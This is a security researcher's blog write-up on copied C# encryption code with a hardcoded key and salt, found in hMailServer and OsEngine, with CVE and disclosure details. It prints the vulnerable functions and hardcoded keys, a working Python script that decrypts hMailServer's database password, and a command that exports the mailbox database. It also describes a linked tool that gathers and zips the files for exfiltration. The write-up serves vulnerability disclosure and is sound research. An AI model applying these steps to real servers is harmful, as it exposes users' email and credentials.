> Ivan the Terrible died from a stroke while he was playing chess with Bogdan Belsky on 28 March [O.S. 18 March] 1584. Upon Ivan's death, the Russian throne was left to his middle son, Feodor, a weak-minded figure. Feodor died childless in 1598, which ushered in the Time of Troubles. He was buried at the Cathedral of the Archangel in Moscow. --- --- # Prologue This project was the result of a pointer from a friend of mine, [Adele Miller](https://www.linkedin.com/in/aamiller/). I've been trying passively to get my first blood CVE and since getting laid off I have had time to bear down on it. I was referred to this blog post, [If you copied any of these popular StackOverflow encryption code snippets, then you coded it wrong](https://littlemaninmyhead.wordpress.com/2021/09/15/if-you-copied-any-of-these-popular-stackoverflow-encryption-code-snippets-then-you-did-it-wrong/). It outlines a couple instances of incorrect and insecure implementations of encryption in various languages. The one I zeroed in on was "Example 2: AES-256 in CBC mode in C#" because she said that she knew there were a few implementations of it out there in open source projects. This seems to be the most recent CVE and accompanying POC regarding this reused function: - [CVE-2021-36799](https://www.cvedetails.com/cve/CVE-2021-36799/?utm_source=chatgpt.com) - [Password Recovery POC](https://github.com/robertguetzkow/ets5-password-recovery?utm_source=chatgpt.com) And here are the corresponding CWEs - [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) - [CWE-760: Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html) --- --- # Patterns and the Hunt Much of application security is about patterns. You have [semgrep](https://semgrep.dev/) for when you want to search for patterns in a codebase you have access to. but say you have a string, such as `{ 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }` that you would like to search a wide number of repositories for? One option is just throwing it into the search bar on GitHub. This is less targeted but will return lots of results. Doing this also showed me a large number of repositories with YARA rules for this string. That's because this string shows up in a number of malware. Namely [Samsam Ransomware and BOSS SPIDER](https://www.crowdstrike.com/en-us/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/). The other option, what I did, was to throw the string into [SourceGraph Search](https://sourcegraph.com/search?q=context:global+%22%7B+0x49%2C+0x76%2C+0x61%2C+0x6e%2C+0x20%2C+0x4d%2C+0x65%2C+0x64%2C+0x76%2C+0x65%2C+0x64%2C+0x65%2C+0x76+%7D%29%22&patternType=keyword&sm=0). Here we see a number of open source projects that have a respectable amount of traffic. What I did was go through these and try and find a few that had a good number of stars indicating usage- then from that list i checked WHERE they use this function. In some of these repositories our vulnerable encryption functions already appeared deprecated. Then I'd check if I could even get the application running in a VM. Some of these ([Winsta11](github.com/NGame1/Winsta11) for example) refused to run, and that's kind of bare minimum for testing. Some of these were libraries that I could not find any evidence of use anywhere. I settled on these two: 1. **hmailserver** - hMailServer is an open source email server for Microsoft Windows. - [existing DoS CVE](https://www.cve.org/CVERecord/SearchResults?query=hmailserver) - github.com/hmailserver/hmailserver 2. **0sEngine** - This is a full range of programs required to automate trading on the stock exchange. - github.com/AlexWan/OsEngine Let's dig in! --- --- # The Function Here's the problem code in question. ```cs using System.IO; using System.Text; using System.Security.Cryptography; public static class EncryptionHelper { public static string Encrypt(string clearText) { string EncryptionKey = "abc123"; byte[] clearBytes = Encoding.Unicode.GetBytes(clearText); using (Aes encryptor = Aes.Create()) { Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }); encryptor.Key = pdb.GetBytes(32); encryptor.IV = pdb.GetBytes(16); using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write)) { cs.Write(clearBytes, 0, clearBytes.Length); cs.Close(); } clearText = Convert.ToBase64String(ms.ToArray()); } } return clearText; } public static string Decrypt(string cipherText) { string EncryptionKey = "abc123"; cipherText = cipherText.Replace(" ", "+"); byte[] cipherBytes = Convert.FromBase64String(cipherText); using (Aes encryptor = Aes.Create()) { Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }); encryptor.Key = pdb.GetBytes(32); encryptor.IV = pdb.GetBytes(16); using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(cipherBytes, 0, cipherBytes.Length); cs.Close(); } cipherText = Encoding.Unicode.GetString(ms.ToArray()); } } return cipherText; } } ``` To summarize, we take a hardcoded password (\* bonk \* no) and a hardcoded salt (\* bonk \* stoppit) and pass those through an RFC2898 PBKDF2 algorithm to derive a pseudorandom encryption key. This is then used as the key and IV of the AES object using the defaults. Both of those being now determinable pseudorandom values, decrypting any data using this function becomes a simple task. --- --- # hMailServer **(CVEs reserved: (CVE-2025-52372, CVE-2025-52373, CVE-2025-52374), developer contacted and has elected not to remediate. Project is deprecated.)** There are a couple of issues here. --- ## Ivan Medvedev: CVE-2025-52374 Here we see the password taken in when creating a new server connection in the Admin GUI ```cpp private void btnSave_Click(object sender, EventArgs e) { server.hostName = textHostname.Text; server.userName = textUsername.Text; server.savePassword = radioSavePassword.Checked; if (textPassword.Dirty) server.encryptedPassword = Encryption.Encrypt(textPassword.Password); this.DialogResult = DialogResult.OK; } ``` > line 44 in `hmailserver/source/Tools/Administrator/Dialogs/formServerInformation.cs` using this function, it's encrypted. ```cs private static string NOT_SECRET_KEY = "THIS_KEY_IS_NOT_SECRET"; public static string Encrypt(string plainText) { // Encryption operates on byte arrays, not on strings. byte[] plainTextBytes = System.Text.Encoding.Unicode.GetBytes(plainText); // Derive a key from the password. PasswordDeriveBytes passwordDerivedBytes = new PasswordDeriveBytes(NOT_SECRET_KEY, new byte[] {0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76}); // Use Rijndael symmetric algorithm to do the encryption. Rijndael rijndaelAlgorithm = Rijndael.Create(); rijndaelAlgorithm.Key = passwordDerivedBytes.GetBytes(32); rijndaelAlgorithm.IV = passwordDerivedBytes.GetBytes(16); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length); cryptoStream.Close(); byte[] encryptedBytes = memoryStream.ToArray(); return Convert.ToBase64String(encryptedBytes); } ``` > line 12 in `hmailserver/source/Tools/Administrator/Utilities/Encryption.cs` when you save it runs a function to write to a file called `hMailAdmin.exe.config` ```cpp public static void Save(UserSettings settings) { string settingsFile = Path.Combine(CreateSettingsFolder(), "hMailAdmin.exe.config"); XmlTextWriter writer = new XmlTextWriter(settingsFile, Encoding.UTF8); try { writer.Formatting = Formatting.Indented; XmlSerializer xmlSerializer = new XmlSerializer(typeof(UserSettings)); xmlSerializer.Serialize(writer, settings); } ``` > line 65 `hmailserver/source/Tools/Administrator/Utilities/Settings/UserSettings.cs` which creates a file at `%APPDATA%\hMailServer\Administrator\hMailAdmin.exe.config` ```xml <Server> <hostName>localhost</hostName> <userName>Administrator</userName> <encryptedPassword>1WWKZ+ZOBmor+9SYwo/fwg==</encryptedPassword> <savePassword>true</savePassword> </Server> ``` With entries like those above. The hardcoded decryption function will decrypt that string in the `` tag to `test1`. --- ## Initial AdministratorPassword obfuscated with insecure hash: CVE-2025-52372 The program defaults to md5 hashing for the `AdministratorPassword` in under `[Security]` `hMailServer.INI` at setup. ```pascal function GetHashedPassword(Param: String) : String; begin Result := GetMD5OfString(g_szAdminPassword); end; ``` > line 239 of `hmailserver/installation/hMailServerInnoExtension.iss` This is passed to the code in our test install to `DBSetupQuick.exe` as we are not specifying an external existing database. ```pascal // Add the password as well, so that the administrator doesn't have to type it in again // if he have just entered it. If this is an upgrade, he'll have to enter it again though. if (Length(g_szAdminPassword) > 0) then szParameters := szParameters + ' password:' + g_szAdminPassword; if ((GetCurrentDatabaseType() <> '') or g_bUseInternal) then begin if (Exec(ExpandConstant('{app}\Bin\DBSetupQuick.exe'), szParameters, '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) = False) then MsgBox(SysErrorMessage(ResultCode), mbError, MB_OK); end else begin if (Exec(ExpandConstant('{app}\Bin\DBSetup.exe'), szParameters, '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) = False) then MsgBox(SysErrorMessage(ResultCode), mbError, MB_OK); end; ``` > line 646 of `hmailserver/installation/hMailServerInnoExtension.iss` The output is then written to the ini file. ```pascal Filename: "{app}\Bin\hMailServer.INI"; Section: "Security"; Key: "AdministratorPassword"; String: "{code:GetHashedPassword}"; Flags: createkeyifdoesntexist; Components: server; ``` > line 126 of `hmailserver/installation/Shared.iss` Additional updates to this password will be more secure by way of stronger hashing. ```cpp IniFileSettings::SetAdministratorPassword(const String &sNewPassword) //---------------------------------------------------------------------------() // DESCRIPTION: // Updates the main hMailServer administration password found in hMailServer.ini //---------------------------------------------------------------------------() { administrator_password_ = HM::Crypt::Instance()->EnCrypt(sNewPassword, HM::Crypt::ETSHA256); WriteIniSetting_("Security", "AdministratorPassword", administrator_password_); } ``` > line 356 `hmailserver/source/Server/Common/Application/IniFileSettings.cpp` but the *initial* time the password is set, it will always be an insecure MD5 hash. --- ## Blowfish implementation uses Hardcoded Password CVE-2025-52373 Hardcoded password is set ``` cs #define NOT_SECRET_KYE "THIS_KEY_IS_NOT_SECRET" ``` > line 20 `hmailserver/source/Server/Common/Util/BlowFish.cpp` and used ```cs BlowFishEncryptor::BlowFishEncryptor () { PArray = new DWORD [18] ; SBoxes = new DWORD [4][256] ; String sKey = NOT_SECRET_KYE; int iKeyLen = sKey.GetLength(); BYTE *buf = new BYTE[iKeyLen + 1]; memset(buf, 0, iKeyLen + 1); strncpy_s((char*) buf, iKeyLen+1, Unicode::ToANSI(sKey), iKeyLen); Initialize(buf, iKeyLen ); delete [] buf; } ``` > line 29 `hmailserver/source/Server/Common/Util/BlowFish.cpp` This is then used to encrypt the database `Password` under `[Database]` in `hMailServer.INI`. The flow looks something like this. ``` hMailServerInnoExtension.iss DBSetupQuick.exe InitializeInternalDatabase() CreateInternalDatabase() PasswordGenerator::Generate() ini_file_settings_->SetPassword(sPassword); WriteIniSetting_(); ``` When the installer is told to create an internal database it runs the helper program DBSetupQuick.exe which performs a flow demonstrated above. The value field written looks like this. `Password=fb8f1b06f59cf34cf99164835d6ae736` when fed to this script ```python from Crypto.Cipher import Blowfish def blowfish_decrypt_le(cipher_hex: str, key: bytes = b"THIS_KEY_IS_NOT_SECRET") -> str: # Convert hex to bytes ct = bytes.fromhex(cipher_hex) bs = Blowfish.block_size # 8 bytes per block # Initialize ECB cipher cipher = Blowfish.new(key, Blowfish.MODE_ECB) plaintext_bytes = b'' # Process each 8-byte block for i in range(0, len(ct), bs): block = ct[i:i+bs] # Reverse each 4-byte word to match encryption pre-transform le_block = block[:4][::-1] + block[4:][::-1] # Decrypt dec_le = cipher.decrypt(le_block) # Reverse words back to big-endian dec_be = dec_le[:4][::-1] + dec_le[4:][::-1] plaintext_bytes += dec_be # Strip trailing zero-byte padding plaintext_bytes = plaintext_bytes.rstrip(b'\x00') # Decode to UTF-8 return plaintext_bytes.decode('utf-8', errors='ignore') # Example self-test if __name__ == "__main__": test_ct = "fb8f1b06f59cf34cf99164835d6ae736" recovered = blowfish_decrypt_le(test_ct) print("Recovered plaintext:", recovered) ``` I retrieve the value `5C7662397665` This then unlocks the database and allows me to export it as an .sql script that will generate a more readable sqlite database using this tool https://github.com/ErikEJ/SqlCeToolbox ```cmd > .\ExportSqlCe.exe "Data Source=hMailServer.sdf;Password=5C7662397665;" hMailServer.sql sqlite Initializing.... Generating the tables.... Generating the data.... Generating the indexes.... Sent script to output file(s) : hMailServer.sql in 633 ms ``` With this you now have access to emails and account information. --- ## What hMailServer does Right passwords for users ARE obfuscated using salted SHA256 ```cpp pAccount->SetPassword(Crypt::Instance()->EnCrypt(pAccount->GetPassword(), (HM::Crypt::EncryptionType) preferredHashAlgorithm)); ``` > line 187 `hmailserver/source/Server/Common/Persistence/PersistentAccount.cpp` The following line says to use the preferred algorithm. ```cpp preferred_hash_algorithm_(3), ``` > line 29 `hmailserver/source/Server/Common/Application/IniFileSettings.cpp` This key indicates that the algorithm is preset to 3. ```cpp enum EncryptionType { ETNone = 0, ETBlowFish = 1, ETMD5 = 2, ETSHA256 = 3 }; ``` > line 16 in `hmailserver/source/Server/Common/Util/Crypt.h` This file shows 3 corresponds to etsha256. ```cpp case ETSHA256: { HashCreator encrypter(HashCreator::SHA256); AnsiString result = encrypter.GenerateHash(sInput, ""); return result; } ``` > line 46 of `hmailserver/source/Server/Common/Util/Crypt.cpp` The above snippet shows that in this context it generates a hash, and does not specify no salt in the function name like line 43 does `String sResult = crypter.GenerateHashNoSalt(sInput, HashCreator::hex);` --- ## Proof Of Concept > https://github.com/mojibake-dev/hMailEnum This C# code was written to demonstrate how the vulnerabilities found in the hMailServer versions 5.6.8 and 5.6.9beta software regarding it password storage can be exploited. It will attempt to enumerate from the registry where the important files are stored, and if not found will default to some hardcoded paths. The files of interest are, `hMailServer.ini` > contains some settings, a poorly obfuscated password to the admin console, and a poorly obfuscated password to the database. `hMailServer.sdf` > The database file to be decrypted with the password from `hMailServer.ini` `hMailAdmin.exe.config` > Some configuration regarding additional servers your admin console will connect to, most notably poorly obfuscated passwords. which will be copied to the working directory. The tool will then iterate through these files and run the appropriate decryption function using the hardcoded keys in the source code. Then it will decrypt the database, use the [ErikEJ](https://github.com/ErikEJ)/[SqlCeToolbox](https://github.com/ErikEJ/SqlCeToolbox) tool to decrypt and convert it to a more readable .SQLite database. Then it will zip up the files, both the decrypted ones and the originals for further inspection, to make exfiltration easier. --- ## Disclosure From Martin Knafve, the developer of hMailServer: > ... Users are, since a couple of years, recommended to move to other software or services due to (among other things) the usage of insecure algorithms,... Based on that, I won't spend time fixing these issues. If you allocate CVEs for them I can have links to those added to the pages above, for added clarity. --- --- # OsEngine (CVE Requested and pending. Developer Contacted. No Response.) OS engine is a strange one to me. It's a crypto trading automation platform that seems highly extensible. It's written by a team in Russia. There seems to be a LOT going on here but with all the documentation in Cyrillic I may come back to this one at a later time. Here's our old friend Ivan again: ```cs public static string Encrypt(string clearText) { string EncryptionKey = "dfg2335"; byte[] clearBytes = Encoding.Unicode.GetBytes(clearText); using (Aes encryptor = Aes.Create()) { Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }); encryptor.Key = pdb.GetBytes(32); encryptor.IV = pdb.GetBytes(16); using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write)) { cs.Write(clearBytes, 0, clearBytes.Length); cs.Close(); } clearText = Convert.ToBase64String(ms.ToArray()); } } return clearText; } ``` > line 90 of `project/OsEngine/OsTrader/Gui/BlockInterface/BlockMaster.cs` The encryption/decryption function is then used by the getters and setters of the password property to write it to a file. ```cs set { try { using (StreamWriter writer = new StreamWriter(@"Engine\PrimeSettingss.txt", false)) { writer.WriteLine(Encrypt(value)); writer.Close(); } } catch (Exception) { // ignore } } ``` > line 32 of prev file. And here's where the password is set. ```cs if (TextBoxPassword.IsEnabled == true) { BlockMaster.Password = pass1; } BlockMaster.IsBlocked = true; InterfaceIsBlock = true; Close(); } ``` > line 77 in `project/OsEngine/OsTrader/Gui/BlockInterface/RobotUiLightBlock.xaml.cs` So in practice here's what that looks like: And decrypting with the tool I wrote: --- ## Disclosure I have reached out to the developer of this project, but have not received a response. Additionally I have not been able to uncover a process for disclosure with them. I will update this section if this changes. --- --- # belskysGambit.py https://github.com/mojibake-dev/belskysGambit I wrote a little python script that does ONE thing for me. It decrypts (or encrypts) our Ivan encrypted strings. All implementations of the copied functions use the same salt- that's a given. They all use the same defaults for AES in .NET regardless of the object used `AES` or `Rijndael`. Where they differ is - what algorithm they use for their PBKDF derived decryption key. Some use `PasswordDeriveBytes()` which uses the PBKDF1, algorithm, while some use `Rfc2989DeriveBytes()` which uses the PBKDF2 algorithm. Both slightly different implementations. - what password is hardcoded in. As such this script allows for selecting either algorithm, and takes the string for the password to be fed into the algo chosen. Here's a disorganized list from my notes of some resources used to determine the functionality ported to python and the defaults. - [Rfc2898DeriveBytes()](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=net-5.0) - [GetBytes() method](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes.getbytes?view=net-5.0) - Repeated calls to this method will not generate the same key; instead, appending two calls of the [GetBytes](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes.getbytes?view=net-5.0) method with a `cb` parameter value of `20` is the equivalent of calling the [GetBytes](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes.getbytes?view=net-5.0) method once with a `cb` parameter value of `40`. [AES Class](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-9.0) - [Symmetric Encryption](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm) - Padding [PKCS7](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.padding?view=net-9.0#system-security-cryptography-symmetricalgorithm-padding) [Memory Stream Class](https://learn.microsoft.com/en-us/dotnet/api/system.io.memorystream?view=net-9.0) [CryptoStream Class](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.cryptostream?view=net-9.0) [PasswordDeriveBytes()](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.passwordderivebytes) [PasswordDeriveBytes.cs](https://github.com/dotnet/runtime/blob/1d1bf92fcf43aa6981804dc53c5174445069c9e4/src/libraries/System.Security.Cryptography/src/System/Security/Cryptography/PasswordDeriveBytes.cs) --- --- # So Who Is Ivan??? I was going to publish this project under the name Ivan The Terribly Encrypted- but the friend who gave me the lead that led to this project advised I ask Ivan himself. It hadn't occurred to me that I could find THE Ivan Medvedev. I had sort of assumed maybe it was a reference to [Ivan Medvedev, Russian politician and energy economist](https://en.wikipedia.org/wiki/Ivan_Medvedev) or was some one off answer on Stack Over flow anonymous and lost to time. So i set off looking. In order of discovery: - [Twitter](https://x.com/pmelson/status/1303092463624769536?lang=ar-x-fm) - [The Original Blog Post](https://www.codeproject.com/Articles/5719/Simple-encrypting-and-decrypting-data-in-C-) - His blog in 2 iterations - [IA snapshot Aug 5 2005](https://web.archive.org/web/20041207035908/http://blogs.dotnetthis.com/Ivan/) - [IA snapshot Dec 16 2004](https://web.archive.org/web/20041216085309/http://blogs.dotnetthis.com/Ivan/) - [Stack Overflow](https://stackoverflow.com/questions/14658131/exe-comperession-for-the-net-app-algorithm-shows-strange-chars-with-the-real) - [LinkedIn](https://www.linkedin.com/in/ivanmed/) This led me to a picture of him, finally to his LinkedIn and even more strange is he lives in the same state as me!! I've since reached out to him and asked if he'd be down to get coffee and chat and it seems like there's a good chance it will happen!

Other Articles In This Series